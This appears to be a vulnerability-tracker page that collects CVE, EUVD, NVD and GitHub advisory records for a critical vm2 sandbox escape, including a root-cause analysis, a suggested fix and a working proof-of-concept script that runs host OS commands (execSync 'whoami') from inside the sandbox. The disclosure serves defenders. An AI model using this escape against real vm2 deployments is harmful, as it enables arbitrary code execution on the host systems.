vm2 before 3.11.7 Remote Code Execution via require.external

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 before 3.11.7 contains a remote code execution vulnerability when require.external is enabled without an explicit require.root that excludes node_modules. Sandboxed code can require vm2's own package, instantiate an unrestricted NodeVM instance, and execute arbitrary host OS commands via child_process.

Source published

17 Sep 2026 13:46:07 UTC

Source modified

17 Sep 2026 19:20:46 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

vm2 before 3.11.7 contains a remote code execution vulnerability when require.external is enabled without an explicit require.root that excludes node_modules. Sandboxed code can require vm2's own package, instantiate an unrestricted NodeVM instance, and execute arbitrary host OS commands via child_process.

Source published

Sep 17, 2026, 1:46:07 PM (timezone not stated)

Source modified

Sep 17, 2026, 7:20:46 PM (timezone not stated)

Observed here

11 Nov 2026 18:10:09 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

vm2 before 3.11.7 contains a remote code execution vulnerability when require.external is enabled without an explicit require.root that excludes node_modules. Sandboxed code can require vm2's own package, instantiate an unrestricted NodeVM instance, and execute arbitrary host OS commands via child_process.

Source published

17 Sep 2026 14:17:59 UTC

Source modified

17 Sep 2026 20:18:59 UTC

Observed here

25 Oct 2026 16:19:22 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 10.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-j3hm-6rg5-mchv. This link is maintained to preserve external references. ## Original Description vm2 before 3.11.7 contains a remote code execution vulnerability when require.external is enabled without an explicit require.root that excludes node_modules. Sandboxed code can require vm2's own package, instantiate an unrestricted NodeVM instance, and execute arbitrary host OS commands via child_process.

Source published

17 Sep 2026 15:32:15 UTC

Source modified

5 Oct 2026 22:45:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · CRITICAL

## Summary `NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox: - `require.root` defaults to **unrestricted** — "if omitted every path is allowed." - `require.context` defaults to **`"host"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox. Sandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`. This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`: ```js const vm = new NodeVM({ require: { external: true, root: './', }, }); ``` `root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default. ## Affected Versions All vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause). ## Details / Root Cause `lib/resolver-compat.js`: ```js const { builtin: builtinOpt, mock: mockOpt, external: externalOpt, root: rootPaths, resolve: customResolver, customRequire: hostRequire = defaultRequire, context = 'host', // <-- defaults to 'host' strict = true, fs: fsOpt = DEFAULT_FS, } = options; ... if (!externalOpt) return new Resolver(fsOpt, [], builtins); ... let checkedRootPaths; if (rootPaths !== undefined) { // root is only canonicalized/validated if the embedder explicitly provided one. ... } ``` and `CustomResolver.isPathAllowed`: ```js isPathAllowed(filename) { if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted ... } ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`. **This is a distinct code path from the two already-fixed advisories that produce a similar end state:** - **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink. - **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone. An embedder who has correctly mitigated both prior advisories remains completely open through this one. **Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed." ## Proof of Concept See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source. ```js const path = require('path'); const { NodeVM } = require('vm2'); const vm = new NodeVM({ require: { external: true, root: './' }, // verbatim from README "Quick Examples" }); let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/'); if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint; const result = vm.run(` const real = require(${JSON.stringify(vm2EntryPoint)}); const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } }); module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js'); `, 'untrusted-plugin.js'); console.log(result); // real host username, e.g. "Abisheik M" ``` **Actual output on the test machine:** ``` { whoami: 'Abisheik M', platform: 'win32' } ``` `Abisheik M` is the real OS account executing the Node.js process — not a sandbox artifact. ## Impact Any application that follows vm2's own README "Quick Examples" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to: - Execute arbitrary OS commands via `child_process` (full RCE). - Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`). - Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance. ## Suggested Fix Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.** In `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time — extending the *same* `checkedRootPaths` eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default `require` object when `nesting: true` is set. Additionally: update `README.md`'s "Quick Examples" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).

Source published

5 Oct 2026 22:34:50 UTC

Source modified

5 Oct 2026 22:45:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL